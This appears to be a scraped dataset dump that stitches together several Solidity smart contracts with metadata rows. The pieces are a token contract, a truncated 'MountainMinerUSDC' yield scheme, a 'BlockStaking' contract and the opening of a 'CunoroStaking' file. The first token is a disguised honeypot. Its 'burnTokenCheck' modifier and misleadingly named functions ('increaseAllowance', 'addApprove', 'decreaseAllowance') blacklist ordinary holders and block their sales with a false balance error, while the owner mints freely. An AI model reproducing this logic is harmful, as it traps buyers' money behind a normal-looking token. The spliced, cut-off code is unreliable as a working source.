mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x64f6d28f8fF48BE618c4d87d8c912d19b2aCBe0c;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 75,861 | 10,822 |
dc36f69e5ac385886d94af3231f2376a5fcc2f0fa97ddbb1e8490801ed24db79
| 17,697 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a5/a59537bcb905c228f7EA4F64e7E70f429eBfa838_MountainMinerUSDC.sol
| 3,844 | 12,967 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MountainMinerUSDC is Ownable{
using SafeMath for uint256;
IERC20 public token = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E); /
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and oresValue will be deducted with x% feedback tax.
oresValue = oresValue.sub(oresValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and oresValue will remain without deductions
user.dailyCompoundBonus = 0;
user.craftsCompoundCount = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedOres = 0;
user.lastHatch = block.timestamp;
marketOres = marketOres.add(hasOres.div(MARKET_ORES_DIVISOR));
// Antiwhale limit
if(oresValue > MAX_WITHDRAW_LIMIT){
buy(msg.sender, address(0), oresValue.sub(MAX_WITHDRAW_LIMIT));
oresValue = MAX_WITHDRAW_LIMIT;
}
if(oresValue > getBalance()) {
buy(msg.sender, address(0), oresValue.sub(getBalance()));
oresValue = getBalance();
}
uint256 oresPayout = oresValue.sub(takeFees(oresValue));
token.transfer(msg.sender, oresPayout);
user.totalWithdrawn = user.totalWithdrawn.add(oresPayout);
totalWithdrawn = totalWithdrawn.add(oresPayout);
}
function buySpaceShuttles(address ref, uint256 amount) public {
require(contractStarted, "Contract not yet Started.");
require(amount >= MIN_DEPOSIT_LIMIT, "Less than min limit");
token.transferFrom(msg.sender, address(this), amount);
buy(msg.sender, ref, amount);
}
function buy(address _user, address ref, uint256 amount) internal {
User storage user = users[_user];
uint256 oresBought = calculateOresBuy(amount, getBalance().sub(amount));
user.userDeposit = user.userDeposit.add(amount);
user.initialDeposit = user.initialDeposit.add(amount);
user.claimedOres = user.claimedOres.add(oresBought);
if (user.referrer == address(0)) {
if (ref != _user) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = amount.mul(REFERRAL).div(PERCENTS_DIVIDER);
token.transfer(upline, refRewards);
users[upline].referralRewards = users[upline].referralRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 oresPayout = takeFees(amount);
totalStaked = totalStaked.add(amount.sub(oresPayout));
totalDeposits = totalDeposits.add(1);
compound(false);
if(getBalance() < ROI_MAP[0]){
ORES_TO_HIRE_1CRAFT = 1728000;
} else if(getBalance() >= ROI_MAP[0] && getBalance() < ROI_MAP[1]){
ORES_TO_HIRE_1CRAFT = 1584000;
} else if(getBalance() >= ROI_MAP[1] && getBalance() < ROI_MAP[2]){
ORES_TO_HIRE_1CRAFT = 1440000;
} else if(getBalance() >= ROI_MAP[2] && getBalance() < ROI_MAP[3]){
ORES_TO_HIRE_1CRAFT = 1320000;
} else if(getBalance() >= ROI_MAP[3] && getBalance() < ROI_MAP[4]){
ORES_TO_HIRE_1CRAFT = 1200000;
} else if(getBalance() >= ROI_MAP[4]){
ORES_TO_HIRE_1CRAFT = 1140000;
}
}
function takeFees(uint256 oresValue) internal returns(uint256){
uint256 tax = oresValue.mul(DEV_TAX).div(PERCENTS_DIVIDER);
uint256 marketing = oresValue.mul(MARKET_TAX).div(PERCENTS_DIVIDER);
token.transfer(dev, tax);
token.transfer(market, marketing);
return marketing.add(tax);
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _crafts,
uint256 _claimedOres, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralRewards, uint256 _dailyCompoundBonus, uint256 _craftsCompoundCount, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_crafts = users[_adr].crafts;
_claimedOres = users[_adr].claimedOres;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralRewards = users[_adr].referralRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_craftsCompoundCount = users[_adr].craftsCompoundCount;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function getBalance() public view returns(uint256){
return token.balanceOf(address(this));
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userOres = users[_adr].claimedOres.add(getOresSinceLastHatch(_adr));
return calculateOresSell(userOres);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs),
SafeMath.add(PSNH,
SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs),
SafeMath.mul(PSNH, rt)),
rt)));
}
function calculateOresSell(uint256 ores) public view returns(uint256){
return calculateTrade(ores, marketOres, getBalance());
}
function calculateOresBuy(uint256 amount,uint256 contractBalance) public view returns(uint256){
return calculateTrade(amount, contractBalance, marketOres);
}
function calculateOresBuySimple(uint256 amount) public view returns(uint256){
return calculateOresBuy(amount, getBalance());
}
function getOresYield(uint256 amount) public view returns(uint256,uint256) {
uint256 oresAmount = calculateOresBuy(amount , getBalance().add(amount).sub(amount));
uint256 crafts = oresAmount.div(ORES_TO_HIRE_1CRAFT);
uint256 day = 1 days;
uint256 oresPerDay = day.mul(crafts);
uint256 earningsPerDay = calculateOresSellForYield(oresPerDay, amount);
return(crafts, earningsPerDay);
}
function calculateOresSellForYield(uint256 ores,uint256 amount) public view returns(uint256){
return calculateTrade(ores,marketOres, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalCrafts, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalCrafts, totalDeposits, totalCompound, totalRefBonus);
}
function getMyCrafts(address userAddress) public view returns(uint256){
return users[userAddress].crafts;
}
function getMyOres(address userAddress) public view returns(uint256){
return users[userAddress].claimedOres.add(getOresSinceLastHatch(userAddress));
}
function getOresSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, PROOF_OF_LIFE);
uint256 secondsPassed = min(ORES_TO_HIRE_1CRAFT, cutoffTime);
return secondsPassed.mul(users[adr].crafts);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function PRC_MARKET_ORES_DIVISOR(uint256 value) external onlyOwner {
require(value > 0 && value <= 5);
MARKET_ORES_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external onlyOwner {
require(value <= 700);
WITHDRAWAL_TAX = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external onlyOwner {
require(value >= 1 && value <= 30);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_MAX_TIMES(uint256 value) external onlyOwner {
require(value > 5 && value <= 10);
COMPOUND_MAX_TIMES = value;
}
function BONUS_COMPOUND_DURATION(uint256 value) external onlyOwner {
require(value <= 24);
COMPOUND_DURATION = value * 60 * 60;
}
function SET_PROOF_OF_LIFE(uint256 value) external onlyOwner {
require(value >= 24);
PROOF_OF_LIFE = value * 60 * 60;
}
function SET_MAX_WITHDRAW_LIMIT(uint256 value) external onlyOwner {
require(value >= 500);
MAX_WITHDRAW_LIMIT = value * 1 ether;
}
function SET_MIN_DEPOSIT_LIMIT(uint256 value) external onlyOwner {
require(value <= 10);
MIN_DEPOSIT_LIMIT = value * 1 ether;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external onlyOwner {
require(value <= 12);
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
function UPDATE_ROI_MAP1(uint256 value) external onlyOwner {
require(value <= 100_000);
ROI_MAP[0] = value * 1 ether;
}
function UPDATE_ROI_MAP2(uint256 value) external onlyOwner {
require(value <= 500_000);
ROI_MAP[1] = value * 1 ether;
}
function UPDATE_ROI_MAP3(uint256 value) external onlyOwner {
require(value <= 1_000_000);
ROI_MAP[2] = value * 1 ether;
}
function UPDATE_ROI_MAP4(uint256 value) external onlyOwner {
require(value <= 5_000_000);
ROI_MAP[3] = value * 1 ether;
}
function UPDATE_ROI_MAP5(uint256 value) external onlyOwner {
require(value <= 10_000_000);
ROI_MAP[4] = value * 1 ether;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 81,589 | 10,823 |
8a88580f86779a6d11fa366ff4fbf954b38ac112208b9009bc209f9bddbd5934
| 25,900 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d5/D597919c46240171737fa851c414b3AA51421bAd_BlockStaking.sol
| 4,365 | 17,592 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IZBlock is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract BlockStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IZBlock;
IERC20 public immutable Block;
IZBlock public immutable zBlock;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 blockAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Block,
address _zBlock,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Block != address(0));
Block = IERC20(_Block);
require(_zBlock != address(0));
zBlock = IZBlock(_zBlock);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Block.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(zBlock.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
zBlock.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = zBlock.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = zBlock.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Block.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
zBlock.safeTransferFrom(msg.sender, address(this), _amount);
Block.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return zBlock.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
zBlock.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = zBlock.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Block.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 98,820 | 10,824 |
d9cd2543f5016d43f5cc598a1fb939bb45b94d6767977e0b38051ceccaab3e95
| 26,039 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/be/Be83B0646ce57a93a24274A044F1015a6C5C6054_CunoroStaking.sol
| 4,424 | 17,652 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
